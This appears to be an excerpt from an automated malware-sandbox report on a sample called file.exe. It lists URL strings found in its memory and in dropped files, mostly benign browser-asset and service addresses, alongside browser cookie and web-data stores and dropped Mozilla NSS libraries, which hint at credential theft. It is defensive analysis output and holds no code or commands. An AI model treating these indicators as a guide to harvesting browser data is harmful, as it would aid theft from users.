Source: file.exe, 00000000.00000002.2775237203.0000000023B42000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDHCGCAECAAECFH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2775237203.0000000023B42000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDHCGCAECAAECFH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.10.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2475802803.0000000023AED000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr, EBGCGHID.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2475802803.0000000023AED000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr, EBGCGHID.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2475802803.0000000023AED000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr, EBGCGHID.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 8b013bdd-f270-4931-8c4f-1a15f3e5a078.tmp.11.dr, 3a2c69d2-c4cb-4ea5-ac91-4a1edb2b3955.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log2.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log2.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log2.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log10.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.10.dr, 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.10.dr, 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.10.dr, 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.10.dr, 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log2.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.10.dr, 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.10.dr, 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.10.dr, 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.10.dr, 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log2.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://gaana.com/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: HJJKJJDHCGCAECAAECFH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://m.kugou.com/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://m.vk.com/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10x
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://music.amazon.com
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://music.apple.com
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log7.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log.10.dr, 000003.log4.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log.10.dr, 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13377277052926350.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://open.spotify.com
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
